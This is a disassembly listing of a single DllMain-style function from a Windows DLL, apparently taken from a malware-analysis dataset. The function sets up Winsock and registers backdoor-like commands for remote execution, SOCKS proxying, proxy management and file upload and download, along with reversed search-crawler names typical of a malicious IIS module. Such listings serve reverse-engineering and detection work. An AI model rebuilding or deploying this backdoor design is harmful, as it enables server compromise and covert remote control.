Function at 0x180007280
Capabilities:
Initialize winsock library

Disassembly:
mov rax, rsp
push rbp
lea rbp, [rax - 0x5f]
sub rsp, 0xc0
mov qword [rbp - 0x31], 0xfffffffffffffffe
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rdi
mov rax, qword [0x180056090]
xor rax, rsp
mov qword [rbp + 0x4f], rax
test edx, edx
je 0x180007f7b
cmp edx, 1
jne 0x180007f81
lea r8d, [rdx + 0x15]
lea rdx, str.C:WindowsInitial.ini
lea rcx, [0x180058b28]
call fcn.1800090b0
xor edi, edi
mov qword [rbp - 1], rdi
mov qword [rbp + 7], send
mov byte [rbp - 0x11], dil
lea r8d, [rdi + 7]
lea rdx, str.DllMain
lea rcx, [rbp - 0x11]
call fcn.180001d00
lea rcx, [rbp - 0x11]
call fcn.1800144d0
mov ecx, 0x202
lea rdx, [0x180058870]
call qword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
jne 0x180007f81
mov qword [rbp - 1], rdi
mov qword [rbp + 7], send
mov byte [rbp - 0x11], dil
lea r8d, [rdi + 4]
lea rdx, str.EXEC
lea rcx, [rbp - 0x11]
call fcn.180001d00
nop
lea rdx, [rbp - 0x11]
call fcn.18000d6b0
mov rbx, rax
cmp rax, qword [0x180058ae8]
je 0x180007369
lea r8, [rax + 0x20]
lea rdx, [rbp - 0x11]
call fcn.180009030
test al, al
je 0x180007393
lea rax, [rbp - 0x11]
mov qword [rbp - 0x39], rax
lea r8, [rbp - 0x39]
call fcn.18000da20
lea r9, [rax + 0x20]
mov qword [rsp + 0x20], rax
mov r8, rbx
lea rdx, [rbp - 0x39]
call fcn.18000da80
mov rbx, qword [rbp - 0x39]
mov dword [rbx + 0x40], 0x64
lea rcx, [rbp - 0x11]
call fcn.180001c80
mov qword [rbp - 1], rdi
mov qword [rbp + 7], send
mov byte [rbp - 0x11], 0
mov r8d, 7
lea rdx, str.EXECPRO
lea rcx, [rbp - 0x11]
call fcn.180001d00
nop
lea rdx, [rbp - 0x11]
call fcn.18000d6b0
mov rbx, rax
cmp rax, qword [0x180058ae8]
je 0x1800073f0
lea r8, [rax + 0x20]
lea rdx, [rbp - 0x11]
call fcn.180009030
test al, al
je 0x18000741a
lea rax, [rbp - 0x11]
mov qword [rbp - 0x39], rax
lea r8, [rbp - 0x39]
call fcn.18000da20
lea r9, [rax + 0x20]
mov qword [rsp + 0x20], rax
mov r8, rbx
lea rdx, [rbp - 0x39]
call fcn.18000da80
mov rbx, qword [rbp - 0x39]
mov dword [rbx + 0x40], 0x65
lea rcx, [rbp - 0x11]
call fcn.180001c80
mov qword [rbp - 1], rdi
mov qword [rbp + 7], send
mov byte [rbp - 0x11], 0
mov r8d, reloc.WS2_32.dll_inet_addr
lea rdx, str.SOCKS_HELLO
lea rcx, [rbp - 0x11]
call fcn.180001d00
nop
lea rdx, [rbp - 0x11]
call fcn.18000d6b0
mov rbx, rax
cmp rax, qword [0x180058ae8]
je 0x180007477
lea r8, [rax + 0x20]
lea rdx, [rbp - 0x11]
call fcn.180009030
test al, al
je 0x1800074a1
lea rax, [rbp - 0x11]
mov qword [rbp - 0x39], rax
lea r8, [rbp - 0x39]
call fcn.18000da20
lea r9, [rax + 0x20]
mov qword [rsp + 0x20], rax
mov r8, rbx
lea rdx, [rbp - 0x39]
call fcn.18000da80
mov rbx, qword [rbp - 0x39]
mov dword [rbx + 0x40], 0x66
lea rcx, [rbp - 0x11]
call fcn.180001c80
mov qword [rbp - 1], rdi
mov qword [rbp + 7], send
mov byte [rbp - 0x11], 0
mov r8d, recv
lea rdx, str.SOCKS_CONNECT
lea rcx, [rbp - 0x11]
call fcn.180001d00
nop
lea rdx, [rbp - 0x11]
call fcn.18000d6b0
mov rbx, rax
cmp rax, qword [0x180058ae8]
je 0x1800074fe
lea r8, [rax + 0x20]
lea rdx, [rbp - 0x11]
call fcn.180009030
test al, al
je 0x180007528
lea rax, [rbp - 0x11]
mov qword [rbp - 0x39], rax
lea r8, [rbp - 0x39]
call fcn.18000da20
lea r9, [rax + 0x20]
mov qword [rsp + 0x20], rax
mov r8, rbx
lea rdx, [rbp - 0x39]
call fcn.18000da80
mov rbx, qword [rbp - 0x39]
mov dword [rbx + 0x40], 0x67
lea rcx, [rbp - 0x11]
call fcn.180001c80
mov qword [rbp - 1], rdi
mov qword [rbp + 7], send
mov byte [rbp - 0x11], 0
mov r8d, reloc.WS2_32.dll_recv
lea rdx, str.SOCKS_DISCONNECT
lea rcx, [rbp - 0x11]
call fcn.180001d00
nop
lea rdx, [rbp - 0x11]
call fcn.18000d6b0
mov rbx, rax
cmp rax, qword [0x180058ae8]
je 0x180007585
lea r8, [rax + 0x20]
lea rdx, [rbp - 0x11]
call fcn.180009030
test al, al
je 0x1800075af
lea rax, [rbp - 0x11]
mov qword [rbp - 0x39], rax
lea r8, [rbp - 0x39]
call fcn.18000da20
lea r9, [rax + 0x20]
mov qword [rsp + 0x20], rax
mov r8, rbx
lea rdx, [rbp - 0x39]
call fcn.18000da80
mov rbx, qword [rbp - 0x39]
mov dword [rbx + 0x40], 0x68
lea rcx, [rbp - 0x11]
call fcn.180001c80
mov qword [rbp - 1], rdi
mov qword [rbp + 7], send
mov byte [rbp - 0x11], 0
mov r8d, 0xa
lea rdx, str.SOCKS_READ
lea rcx, [rbp - 0x11]
call fcn.180001d00
nop
lea rdx, [rbp - 0x11]
call fcn.18000d6b0
mov rbx, rax
cmp rax, qword [0x180058ae8]
je 0x18000760c
lea r8, [rax + 0x20]
lea rdx, [rbp - 0x11]
call fcn.180009030
test al, al
je 0x180007636
lea rax, [rbp - 0x11]
mov qword [rbp - 0x39], rax
lea r8, [rbp - 0x39]
call fcn.18000da20
lea r9, [rax + 0x20]
mov qword [rsp + 0x20], rax
mov r8, rbx
lea rdx, [rbp - 0x39]
call fcn.18000da80
mov rbx, qword [rbp - 0x39]
mov dword [rbx + 0x40], WSAGetLastError
lea rcx, [rbp - 0x11]
call fcn.180001c80
mov qword [rbp - 1], rdi
mov qword [rbp + 7], send
mov byte [rbp - 0x11], 0
mov r8d, recv
lea rdx, str.SOCKS_FORWARD
lea rcx, [rbp - 0x11]
call fcn.180001d00
nop
lea rdx, [rbp - 0x11]
call fcn.18000d6b0
mov rbx, rax
cmp rax, qword [0x180058ae8]
je 0x180007693
lea r8, [rax + 0x20]
lea rdx, [rbp - 0x11]
call fcn.180009030
test al, al
je 0x1800076bd
lea rax, [rbp - 0x11]
mov qword [rbp - 0x39], rax
lea r8, [rbp - 0x39]
call fcn.18000da20
lea r9, [rax + 0x20]
mov qword [rsp + 0x20], rax
mov r8, rbx
lea rdx, [rbp - 0x39]
call fcn.18000da80
mov rbx, qword [rbp - 0x39]
mov dword [rbx + 0x40], WSAGetLastError
lea rcx, [rbp - 0x11]
call fcn.180001c80
mov qword [rbp - 1], rdi
mov qword [rbp + 7], send
mov byte [rbp - 0x11], 0
mov r8d, reloc.WS2_32.dll_inet_ntoa
lea rdx, str.PROXY_ENABLE
lea rcx, [rbp - 0x11]
call fcn.180001d00
nop
lea rdx, [rbp - 0x11]
call fcn.18000d6b0
mov rbx, rax
cmp rax, qword [0x180058ae8]
je 0x18000771a
lea r8, [rax + 0x20]
lea rdx, [rbp - 0x11]
call fcn.180009030
test al, al
je 0x180007744
lea rax, [rbp - 0x11]
mov qword [rbp - 0x39], rax
lea r8, [rbp - 0x39]
call fcn.18000da20
lea r9, [rax + 0x20]
mov qword [rsp + 0x20], rax
mov r8, rbx
lea rdx, [rbp - 0x39]
call fcn.18000da80
mov rbx, qword [rbp - 0x39]
mov dword [rbx + 0x40], WSAGetLastError
lea rcx, [rbp - 0x11]
call fcn.180001c80
mov qword [rbp - 1], rdi
mov qword [rbp + 7], send
mov byte [rbp - 0x11], 0
mov r8d, 0xa
lea rdx, str.PROXY_LIST
lea rcx, [rbp - 0x11]
call fcn.180001d00
nop
lea rdx, [rbp - 0x11]
call fcn.18000d6b0
mov rbx, rax
cmp rax, qword [0x180058ae8]
je 0x1800077a1
lea r8, [rax + 0x20]
lea rdx, [rbp - 0x11]
call fcn.180009030
test al, al
je 0x1800077cb
lea rax, [rbp - 0x11]
mov qword [rbp - 0x39], rax
lea r8, [rbp - 0x39]
call fcn.18000da20
lea r9, [rax + 0x20]
mov qword [rsp + 0x20], rax
mov r8, rbx
lea rdx, [rbp - 0x39]
call fcn.18000da80
mov rbx, qword [rbp - 0x39]
mov dword [rbx + 0x40], WSAGetLastError
lea rcx, [rbp - 0x11]
call fcn.180001c80
mov qword [rbp - 1], rdi
mov qword [rbp + 7], send
mov byte [rbp - 0x11], 0
mov r8d, 9
lea rdx, str.PROXY_ADD
lea rcx, [rbp - 0x11]
call fcn.180001d00
nop
lea rdx, [rbp - 0x11]
call fcn.18000d6b0
mov rbx, rax
cmp rax, qword [0x180058ae8]
je 0x180007828
lea r8, [rax + 0x20]
lea rdx, [rbp - 0x11]
call fcn.180009030
test al, al
je 0x180007852
lea rax, [rbp - 0x11]
mov qword [rbp - 0x39], rax
lea r8, [rbp - 0x39]
call fcn.18000da20
lea r9, [rax + 0x20]
mov qword [rsp + 0x20], rax
mov r8, rbx
lea rdx, [rbp - 0x39]
call fcn.18000da80
mov rbx, qword [rbp - 0x39]
mov dword [rbx + 0x40], WSAGetLastError
lea rcx, [rbp - 0x11]
call fcn.180001c80
mov qword [rbp - 1], rdi
mov qword [rbp + 7], send
mov byte [rbp - 0x11], 0
mov r8d, 9
lea rdx, str.PROXY_DEL
lea rcx, [rbp - 0x11]
call fcn.180001d00
nop
lea rdx, [rbp - 0x11]
call fcn.18000d6b0
mov rbx, rax
cmp rax, qword [0x180058ae8]
je 0x1800078af
lea r8, [rax + 0x20]
lea rdx, [rbp - 0x11]
call fcn.180009030
test al, al
je 0x1800078d9
lea rax, [rbp - 0x11]
mov qword [rbp - 0x39], rax
lea r8, [rbp - 0x39]
call fcn.18000da20
lea r9, [rax + 0x20]
mov qword [rsp + 0x20], rax
mov r8, rbx
lea rdx, [rbp - 0x39]
call fcn.18000da80
mov rbx, qword [rbp - 0x39]
mov dword [rbx + 0x40], WSAGetLastError
lea rcx, [rbp - 0x11]
call fcn.180001c80
mov qword [rbp - 1], rdi
mov qword [rbp + 7], send
mov byte [rbp - 0x11], 0
mov r8d, reloc.WS2_32.dll_inet_addr
lea rdx, str.PROXY_CLEAR
lea rcx, [rbp - 0x11]
call fcn.180001d00
nop
lea rdx, [rbp - 0x11]
call fcn.18000d6b0
mov rbx, rax
cmp rax, qword [0x180058ae8]
je 0x180007936
lea r8, [rax + 0x20]
lea rdx, [rbp - 0x11]
call fcn.180009030
test al, al
je 0x180007960
lea rax, [rbp - 0x11]
mov qword [rbp - 0x39], rax
lea r8, [rbp - 0x39]
call fcn.18000da20
lea r9, [rax + 0x20]
mov qword [rsp + 0x20], rax
mov r8, rbx
lea rdx, [rbp - 0x39]
call fcn.18000da80
mov rbx, qword [rbp - 0x39]
mov dword [rbx + 0x40], reloc.WS2_32.dll_WSAGetLastError
lea rcx, [rbp - 0x11]
call fcn.180001c80
mov qword [rbp - 1], rdi
mov qword [rbp + 7], send
mov byte [rbp - 0x11], 0
mov r8d, send
lea rdx, str.PROXY_CACHE_CLEAR
lea rcx, [rbp - 0x11]
call fcn.180001d00
nop
lea rdx, [rbp - 0x11]
call fcn.18000d6b0
mov rbx, rax
cmp rax, qword [0x180058ae8]
je 0x1800079bd
lea r8, [rax + 0x20]
lea rdx, [rbp - 0x11]
call fcn.180009030
test al, al
je 0x1800079e7
lea rax, [rbp - 0x11]
mov qword [rbp - 0x39], rax
lea r8, [rbp - 0x39]
call fcn.18000da20
lea r9, [rax + 0x20]
mov qword [rsp + 0x20], rax
mov r8, rbx
lea rdx, [rbp - 0x39]
call fcn.18000da80
mov rbx, qword [rbp - 0x39]
mov dword [rbx + 0x40], WSACleanup
lea rcx, [rbp - 0x11]
call fcn.180001c80
mov qword [rbp - 1], rdi
mov qword [rbp + 7], send
mov byte [rbp - 0x11], 0
mov r8d, reloc.WS2_32.dll_recv
lea rdx, str.PROXY_CACHE_TIME
lea rcx, [rbp - 0x11]
call fcn.180001d00
nop
lea rdx, [rbp - 0x11]
call fcn.18000d6b0
mov rbx, rax
cmp rax, qword [0x180058ae8]
je 0x180007a44
lea r8, [rax + 0x20]
lea rdx, [rbp - 0x11]
call fcn.180009030
test al, al
je 0x180007a6e
lea rax, [rbp - 0x11]
mov qword [rbp - 0x39], rax
lea r8, [rbp - 0x39]
call fcn.18000da20
lea r9, [rax + 0x20]
mov qword [rsp + 0x20], rax
mov r8, rbx
lea rdx, [rbp - 0x39]
call fcn.18000da80
mov rbx, qword [rbp - 0x39]
mov dword [rbx + 0x40], WSACleanup
lea rcx, [rbp - 0x11]
call fcn.180001c80
mov qword [rbp - 1], rdi
mov qword [rbp + 7], send
mov byte [rbp - 0x11], 0
mov r8d, reloc.WS2_32.dll_inet_addr
lea rdx, str.PROXY_COUNT
lea rcx, [rbp - 0x11]
call fcn.180001d00
nop
lea rdx, [rbp - 0x11]
call fcn.18000d6b0
mov rbx, rax
cmp rax, qword [0x180058ae8]
je 0x180007acb
lea r8, [rax + 0x20]
lea rdx, [rbp - 0x11]
call fcn.180009030
test al, al
je 0x180007af5
lea rax, [rbp - 0x11]
mov qword [rbp - 0x39], rax
lea r8, [rbp - 0x39]
call fcn.18000da20
lea r9, [rax + 0x20]
mov qword [rsp + 0x20], rax
mov r8, rbx
lea rdx, [rbp - 0x39]
call fcn.18000da80
mov rbx, qword [rbp - 0x39]
mov dword [rbx + 0x40], WSACleanup
lea rcx, [rbp - 0x11]
call fcn.180001c80
mov qword [rbp - 1], rdi
mov qword [rbp + 7], send
mov byte [rbp - 0x11], 0
mov r8d, reloc.WS2_32.dll_inet_addr
lea rdx, str.FILE_UPLOAD
lea rcx, [rbp - 0x11]
call fcn.180001d00
nop
lea rdx, [rbp - 0x11]
call fcn.18000d6b0
mov rbx, rax
cmp rax, qword [0x180058ae8]
je 0x180007b52
lea r8, [rax + 0x20]
lea rdx, [rbp - 0x11]
call fcn.180009030
test al, al
je 0x180007b7c
lea rax, [rbp - 0x11]
mov qword [rbp - 0x39], rax
lea r8, [rbp - 0x39]
call fcn.18000da20
lea r9, [rax + 0x20]
mov qword [rsp + 0x20], rax
mov r8, rbx
lea rdx, [rbp - 0x39]
call fcn.18000da80
mov rbx, qword [rbp - 0x39]
mov dword [rbx + 0x40], reloc.WS2_32.dll_WSAStartup
lea rcx, [rbp - 0x11]
call fcn.180001c80
mov qword [rbp - 1], rdi
mov qword [rbp + 7], send
mov byte [rbp - 0x11], 0
mov r8d, recv
lea rdx, str.FILE_DOWNLOAD
lea rcx, [rbp - 0x11]
call fcn.180001d00
nop
lea rdx, [rbp - 0x11]
call fcn.18000d6b0
mov rbx, rax
cmp rax, qword [0x180058ae8]
je 0x180007bd9
lea r8, [rax + 0x20]
lea rdx, [rbp - 0x11]
call fcn.180009030
test al, al
je 0x180007c03
lea rax, [rbp - 0x11]
mov qword [rbp - 0x39], rax
lea r8, [rbp - 0x39]
call fcn.18000da20
lea r9, [rax + 0x20]
mov qword [rsp + 0x20], rax
mov r8, rbx
lea rdx, [rbp - 0x39]
call fcn.18000da80
mov rbx, qword [rbp - 0x39]
mov dword [rbx + 0x40], reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp - 0x11]
call fcn.180001c80
mov qword [rbp - 1], rdi
mov qword [rbp + 7], send
mov byte [rbp - 0x11], 0
mov r8d, send
lea rdx, str.FILE_UPLOAD_PRO
lea rcx, [rbp - 0x11]
call fcn.180001d00
nop
lea rdx, [rbp - 0x11]
call fcn.18000d6b0
mov rbx, rax
cmp rax, qword [0x180058ae8]
je 0x180007c60
lea r8, [rax + 0x20]
lea rdx, [rbp - 0x11]
call fcn.180009030
test al, al
je 0x180007c8a
lea rax, [rbp - 0x11]
mov qword [rbp - 0x39], rax
lea r8, [rbp - 0x39]
call fcn.18000da20
lea r9, [rax + 0x20]
mov qword [rsp + 0x20], rax
mov r8, rbx
lea rdx, [rbp - 0x39]
call fcn.18000da80
mov rbx, qword [rbp - 0x39]
mov dword [rbx + 0x40], 0x75
lea rcx, [rbp - 0x11]
call fcn.180001c80
mov qword [rbp - 1], rdi
mov qword [rbp + 7], send
mov byte [rbp - 0x11], 0
mov r8d, send
lea rdx, str.FILE_DOWNLOAD_PRO
lea rcx, [rbp - 0x11]
call fcn.180001d00
nop
lea rdx, [rbp - 0x11]
call fcn.18000d6b0
mov rbx, rax
cmp rax, qword [0x180058ae8]
je 0x180007ce7
lea r8, [rax + 0x20]
lea rdx, [rbp - 0x11]
call fcn.180009030
test al, al
je 0x180007d11
lea rax, [rbp - 0x11]
mov qword [rbp - 0x39], rax
lea r8, [rbp - 0x39]
call fcn.18000da20
lea r9, [rax + 0x20]
mov qword [rsp + 0x20], rax
mov r8, rbx
lea rdx, [rbp - 0x39]
call fcn.18000da80
mov rbx, qword [rbp - 0x39]
mov dword [rbx + 0x40], 0x76
lea rcx, [rbp - 0x11]
call fcn.180001c80
lea rdx, str.IIS_VERSION
lea rcx, [rbp - 0x11]
call fcn.180001c10
nop
lea rdx, [rbp - 0x11]
call fcn.180008120
mov dword [rax], 0x77
lea rcx, [rbp - 0x11]
call fcn.180001c80
lea rdx, str.redipsudiab
lea rcx, [rbp - 0x11]
call fcn.180001c10
nop
lea rdx, [rbp - 0x11]
lea rcx, [rbp + 0xf]
call fcn.180014900
nop
mov rdx, rax
lea rcx, [0x180058af8]
call fcn.180008090
mov dword [rax], 1
lea rcx, [rbp + 0xf]
call fcn.180001c80
nop
lea rcx, [rbp - 0x11]
call fcn.180001c80
lea rdx, str.tobelgoog
lea rcx, [rbp - 0x11]
call fcn.180001c10
nop
lea rdx, [rbp - 0x11]
lea rcx, [rbp + 0xf]
call fcn.180014900
nop
mov rdx, rax
lea rcx, [0x180058af8]
call fcn.180008090
mov dword [rax], 1
lea rcx, [rbp + 0xf]
call fcn.180001c80
nop
lea rcx, [rbp - 0x11]
call fcn.180001c80
lea rdx, [0x180058a58]
lea rcx, [rbp + 0x2f]
call fcn.180008bb0
nop
lea rdx, [rbp - 0x39]
lea rcx, [rbp + 0x2f]
call fcn.1800089e0
mov r9, rax
lea rdx, [rbp - 0x29]
call fcn.180008990
mov r8, rax
lea rdx, [rbp - 0x21]
call fcn.1800089c0
mov r9, qword [r9]
mov r8, qword [r8]
mov rdx, qword [rax]
lea rcx, [rbp - 0x19]
call fcn.18000c7f0
mov dl, 0x7c
lea rcx, [rbp + 0x2f]
call fcn.180001bb0
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x180007e95
nop dword [rax]
nop dword [rax + rax]
mov r9, rbx
xor r8d, r8d
lea rdx, [rbp + 0xf]
lea rcx, [rbp + 0x2f]
call fcn.180008950
nop
mov rdx, rax
lea rcx, [0x180058b08]
call fcn.180008090
mov dword [rax], 1
lea rcx, [rbp + 0xf]
call fcn.180001c80
lea r8, [rbx + 1]
xor edx, edx
lea rcx, [rbp + 0x2f]
call fcn.180002150
mov dl, 0x7c
lea rcx, [rbp + 0x2f]
call fcn.180001bb0
mov rbx, rax
cmp rax, 0xffffffffffffffff
jne 0x180007e40
lea rdx, str.elgoog
lea rcx, [rbp - 0x11]
call fcn.180001c10
nop
lea rdx, [rbp - 0x11]
lea rcx, [rbp + 0xf]
call fcn.180014900
nop
mov rdx, rax
lea rcx, [0x180058b18]
call fcn.180008090
mov dword [rax], 1
lea rcx, [rbp + 0xf]
call fcn.180001c80
nop
lea rcx, [rbp - 0x11]
call fcn.180001c80
lea rdx, str.gnib
lea rcx, [rbp - 0x11]
call fcn.180001c10
nop
lea rdx, [rbp - 0x11]
lea rcx, [rbp + 0xf]
call fcn.180014900
nop
mov rdx, rax
lea rcx, [0x180058b18]
call fcn.180008090
mov dword [rax], 1
lea rcx, [rbp + 0xf]
call fcn.180001c80
nop
lea rcx, [rbp - 0x11]
call fcn.180001c80
lea rdx, str.coccoc
lea rcx, [rbp - 0x11]
call fcn.180001c10
nop
lea rdx, [rbp - 0x11]
lea rcx, [rbp + 0xf]
call fcn.180014900
nop
mov rdx, rax
lea rcx, [0x180058b18]
call fcn.180008090
mov dword [rax], 1
lea rcx, [rbp + 0xf]
call fcn.180001c80
nop
lea rcx, [rbp - 0x11]
call fcn.180001c80
call fcn.180014fe0
nop
lea rcx, [rbp + 0x2f]
call fcn.180001c80
jmp 0x180007f81
call qword [sym.imp.WS2_32.dll_WSACleanup]
mov eax, 1
mov rcx, qword [rbp + 0x4f]
xor rcx, rsp
call fcn.1800198f0
lea r11, [rsp + 0xc0]
mov rbx, qword [r11 + 0x10]
mov rdi, qword [r11 + 0x18]
mov rsp, r11
pop rbp
ret